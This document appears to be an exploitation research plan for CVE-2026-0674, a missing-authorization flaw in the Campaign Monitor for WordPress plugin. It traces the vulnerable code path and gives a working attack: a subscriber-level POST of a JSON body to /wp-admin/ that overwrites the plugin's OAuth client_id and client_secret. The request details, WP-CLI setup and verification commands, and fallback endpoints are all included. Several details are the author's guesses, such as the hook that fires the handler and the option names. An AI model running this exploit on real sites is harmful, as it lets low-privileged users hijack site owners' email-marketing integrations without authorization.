Exploitation Research Plan: CVE-2026-0674 - Missing Authorization in Campaign Monitor for WordPress

1. Vulnerability Summary

The Campaign Monitor for WordPress plugin (up to version 2.9.1) contains a missing authorization vulnerability in its OAuth authentication handler. The function forms\core\Application::authenticate() processes raw JSON input from php://input to update the plugin's client_id and client_secret settings. This process lacks capability checks (e.g., current_user_can('manage_options')) and nonce verification. Consequently, any authenticated user with subscriber-level access can overwrite the plugin's API credentials, potentially hijacking the Campaign Monitor integration.

2. Attack Vector Analysis

• Endpoint: Any administrative URL (e.g., /wp-admin/admin-ajax.php or /wp-admin/index.php) because the handler is likely triggered via a hook like plugins_loaded or init within forms\core\Application::run().
• HTTP Method: POST
• Authentication: Authenticated (Subscriber level or higher).
• Payload: A JSON object in the request body containing ClientId and ClientSecret.
• Preconditions: The plugin must be active.

3. Code Flow

1. Entry: The main plugin file campaign-monitor.php registers a hook:
   add_action('plugins_loaded', function(){ \forms\core\Application::run(); });.
2. Initialization: Application::run() is invoked. While the full code of run() is truncated, it typically calls self::authenticate() or registers it to an early hook like init.
3. Vulnerable Sink: Application::authenticate() (in forms/core/Application.php) executes:
   • It reads the request body: $fileContent = file_get_contents("php://input");.
   • It decodes the JSON: $credentials = json_decode($fileContent);.
   • If ClientId and ClientSecret are present, it updates settings:

     Settings::add('client_secret', $clientSecret );
     Settings::add('client_id', $clientId);
     

4. Result: The plugin's API configuration is changed. The function then attempts to redirect to the Campaign Monitor authorize URL:
   \wp_redirect($authorizeUrl); exit();.

4. Nonce Acquisition Strategy

This vulnerability bypasses the nonce system entirely because the vulnerable code path reads directly from php://input and does not invoke check_ajax_referer() or wp_verify_nonce(). No nonce is required for exploitation.

5. Exploitation Strategy

The goal is to demonstrate that a subscriber can change the plugin's client_id.

Step-by-Step Plan:

1. Login: Authenticate as a Subscriber user to obtain a session cookie.
2. Craft Payload: Create a JSON body with arbitrary credentials.

   {
     "ClientId": "pwned_client_id",
     "ClientSecret": "pwned_client_secret"
   }
   

3. Send Request: Use http_request to send a POST request to /wp-admin/ with the JSON payload and the subscriber cookie.
4. Observe Response: A successful exploit will trigger a 302 Found redirect to https://api.createsend.com/oauth/ (the Campaign Monitor OAuth endpoint).

HTTP Request Details:

• URL: {{WP_URL}}/wp-admin/
• Method: POST
• Headers:
  • Content-Type: application/json
  • Cookie: {{Subscriber_Cookie}}
• Body: {"ClientId": "vulnerable_client_id", "ClientSecret": "vulnerable_client_secret"}

6. Test Data Setup

1. Install Plugin: Ensure "Campaign Monitor for WordPress" v2.9.1 is installed and active.
2. Create User:
   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Initial State Check: Record current settings (if any).
   wp option get campaign_monitor_settings (Note: exact option name may vary; check forms/core/Settings.php logic if available, or list all options containing 'campaign').

7. Expected Results

• HTTP Response: The server should respond with a 302 redirect.
• Location Header: The Location header in the response will point to https://api.createsend.com/oauth/... and include the client_id=vulnerable_client_id.
• Database Change: The plugin's stored options for client_id and client_secret will be updated to the values provided in the JSON payload.

8. Verification Steps

After sending the HTTP request, verify the settings change via WP-CLI:

# Search for options modified by the plugin
wp option list --search="*campaign*"

# Specifically check the client_id value
# Assuming the setting class uses the 'cm_forms_settings' or similar option key
wp option get cm_forms_settings

9. Alternative Approaches

If sending the payload to /wp-admin/ does not trigger the handler:

1. Target AJAX: Send the same JSON payload to /wp-admin/admin-ajax.php. Even if no action parameter is provided, plugins_loaded and init hooks still fire.
2. Error Trigger: Some parts of authenticate() check for $_GET['error']. Try adding ?page=campaign-monitor-for-wordpress&error=test to the URL while sending the JSON body to ensure the logic path is reached.
3. Check for manual trigger: The Ajax::run() method shows a manual trigger:

   if (!empty($_POST['action']) && $_POST['action'] === 'ajax_handler_nopriv_cm_forms'){
       self::ajaxFormHandler();
   }
   

   If the authenticate logic is inside ajaxFormHandler or its dependencies, send action=ajax_handler_nopriv_cm_forms as a query parameter while providing the JSON body.